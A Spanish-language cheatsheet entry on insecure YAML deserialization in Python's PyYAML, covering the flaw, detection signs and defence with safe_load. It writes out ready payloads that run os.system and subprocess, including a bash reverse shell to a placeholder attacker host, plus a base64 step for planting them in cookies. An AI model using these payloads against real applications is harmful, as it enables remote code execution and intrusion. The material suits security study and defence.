Python YAML Deserialization
Arsenal completo de comandos en la cheatsheetLa deserialización YAML insegura es una vulnerabilidad de ejecución de código en aplicaciones Python que reconstruyen objetos desde YAML controlado por el usuario. El problema está en la función que se usa: el yaml.load() clásico de PyYAML (sin Loader seguro) no se limita a leer datos, sino que instancia objetos Python arbitrarios descritos en el YAML mediante etiquetas !!python/.... Si el atacante controla ese YAML, controla qué objeto se construye, y eso incluye llamar a os.system o subprocess.
La etiqueta clave es !!python/object/apply, que invoca un callable con los argumentos dados durante la deserialización. El payload canónico de RCE es directo:
!!python/object/apply:os.system ["id"]
!!python/object/apply:subprocess.check_output [["id"]]
!!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'"]
!!python/object/new:subprocess.Popen [["id"]]En muchos laboratorios la entrada viaja serializada y en base64 dentro de un parámetro o cookie que el servidor decodifica y pasa a yaml.load(). El flujo de explotación es: escribir el payload, codificarlo y colocarlo donde la app espera el YAML.
echo -n '!!python/object/apply:os.system ["id"]' | base64
# se pega la cadena resultante en el parametro/cookie que la web deserializaRequisitos. La aplicación debe deserializar YAML de origen no confiable con un cargador inseguro (yaml.load(data) sin Loader=yaml.SafeLoader, o yaml.unsafe_load). Con SafeLoader/safe_load las etiquetas !!python/... se rechazan y el ataque no arranca. Es el mismo patrón que otras deserializaciones inseguras: el defecto no es el formato, sino instanciar objetos desde datos del atacante.
Cómo detectarlo. En el tráfico, la firma son cargas con etiquetas !!python/object, !!python/apply o !!python/module (a menudo ocultas tras base64) en parámetros o cookies. En el host, la traza es el proceso de la aplicación Python lanzando hijos inesperados (sh -c, id, una reverse shell) desde el hilo que procesa la petición, justo tras un yaml.load.
Defensa. Usar siempre yaml.safe_load() (o Loader=SafeLoader) para datos externos, que solo construye tipos básicos (dict, list, str, int); nunca yaml.load/unsafe_load sobre entrada no confiable. Validar y firmar los datos serializados si deben venir del cliente. Se solapa con la inyección en eval de Python y con la inyección de comandos a la que desemboca.